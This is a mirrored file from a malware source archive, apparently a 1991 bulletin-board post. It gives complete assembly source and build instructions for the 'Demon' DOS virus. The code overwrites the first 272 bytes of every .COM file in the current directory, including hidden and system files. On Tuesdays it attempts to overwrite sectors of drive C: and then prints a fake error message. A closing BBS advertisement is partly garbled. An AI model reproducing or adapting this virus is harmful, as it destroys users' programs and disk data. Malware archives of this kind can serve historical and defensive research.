mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
137 lines
6.1 KiB
NASM
137 lines
6.1 KiB
NASM
Dt: 19-Oct-91 04:19
|
||
|
||
By: Skin Head
|
||
To: All
|
||
Re: New Source Code
|
||
|
||
|
||
;========== Demon virus ==================================== 22.09.91 ========
|
||
;
|
||
; Assemble and link with: TASM DEMON.VIR
|
||
; TLINK DEMON /X/T
|
||
; Infect all .COM programs in current directory with: DEMON
|
||
;
|
||
; !!! NOT ON A TUESDAY !!!
|
||
;
|
||
;-------------- Constants and structures
|
||
|
||
Tuesday = 2 ; INT 21h, AH=2Ah
|
||
|
||
Search_Rec struc ; directory search record
|
||
db 21 dup (?) ; reserved for DOS
|
||
FileAttr db ? ; file attribute
|
||
FileTime dw ? ; packed file time
|
||
FileDate dw ? ; packed file date
|
||
FileSize dd ? ; long file size
|
||
FileName db 13 dup (?) ; ASCIIZ FILENAME.EXT
|
||
Search_Rec ends
|
||
|
||
;-------------- Demon virus segment
|
||
|
||
Virus segment
|
||
assume cs:Virus,ds:Virus,es:Virus,ss:Virus
|
||
|
||
org 0080h
|
||
DTA Search_Rec <> ; disk transfer area
|
||
|
||
org 0100h
|
||
Demon: ; virus entry point
|
||
Virus_Size = Virus_End - Demon ; virus size = 272 bytes
|
||
|
||
mov dx,offset All_COM ; find first .COM file,
|
||
mov ah,4eh ; including hidden/system
|
||
mov cx,110bh
|
||
int 21h
|
||
nop
|
||
jnc Infect ; abort if no files found
|
||
jmp short Check_Day
|
||
Infect: call Replicate ; overwrite first 272 bytes
|
||
mov dx,offset DTA
|
||
mov ah,4fh ; find next .COM file,
|
||
int 21h ; go check day if none found
|
||
nop ; else repeat
|
||
jnc Next_File
|
||
jmp short Check_Day
|
||
Next_File: jmp Infect
|
||
Check_Day: mov ah,2ah ; get DOS date, check day
|
||
int 21h
|
||
cmp al,Tuesday ; Tuesday ?
|
||
je Thrash_Drive ; if yes, thrash drive C:
|
||
mov ah,4ch ; else exit to DOS
|
||
int 21h
|
||
|
||
Thrash_Drive: mov Counter,0 ; overwrite first 160 sectors
|
||
jmp Write_Sectors ; of drive C: with garbage
|
||
Write_Sectors: mov al,Drive_C ; Error: doesn't work !
|
||
mov cx,160 ; AL=C:, CX=160 sectors
|
||
mov dx,0 ; DX=highest sector in drive !
|
||
mov bx,0 ; DS:BX=start of PSP area
|
||
int 26h ; overwrite sectors
|
||
inc Counter
|
||
cmp Counter,10 ; repeat 10 times
|
||
je Show_Msg
|
||
jne Write_Sectors
|
||
Show_Msg: mov ah,09h ; show a fake error message
|
||
mov dx,offset Virus_Msg ; and exit to DOS
|
||
int 21h
|
||
mov ah,4ch
|
||
int 21h
|
||
|
||
Replicate: mov dx,offset DTA.FileName ; save file attribute
|
||
mov ax,4300h
|
||
int 21h
|
||
mov COM_Attr,cx
|
||
nop
|
||
xor cx,cx ; unprotect the .COM file
|
||
mov ax,4301h ; in case it's read-only
|
||
int 21h
|
||
nop
|
||
mov ax,3d02h ; open .COM file for R/W,
|
||
int 21h ; abort on error
|
||
nop
|
||
jc Check_Day
|
||
mov bx,ax ; BX = file handle
|
||
mov ax,5700h
|
||
int 21h ; save file date and time
|
||
nop
|
||
mov COM_Time,cx
|
||
mov COM_Date,dx
|
||
mov dx,offset Demon ; overwrite first 272 bytes
|
||
mov ah,40h ; of .COM program file
|
||
mov cx,Virus_Size ; with the virus code
|
||
int 21h
|
||
nop
|
||
mov ax,5701h ; restore file date and time
|
||
mov dx,COM_Date
|
||
mov cx,COM_Time
|
||
int 21h
|
||
mov ah,3eh ; close the file
|
||
int 21h
|
||
nop
|
||
mov dx,offset DTA.FileName ; restore file attribute
|
||
mov cx,COM_Attr
|
||
mov ax,4301h
|
||
int 21h
|
||
retn
|
||
|
||
All_COM db '*.COM',0 ; dir search specification
|
||
COM_Date dw 0 ; packed .COM program date
|
||
COM_Time dw 0 ; packed .COM program time
|
||
COM_Attr dw 0 ; .COM program file attribute
|
||
Counter db 0 ; used when thrashing drive C:
|
||
Drive_C db 2 ; INT 26h C: drive number
|
||
dw 0
|
||
Copyright db 'Demonhyak Viri X.X (c) by Cracker Jack 1991 (IVRL)'
|
||
dw 0
|
||
Virus_Msg db 10,13,'Error eating drive C:',10,13,'$'
|
||
|
||
Virus_End label byte ; virus code+data end
|
||
|
||
Virus ends
|
||
end Demon
|
||
|
||
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> and Remember Don't Forget to Call <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
|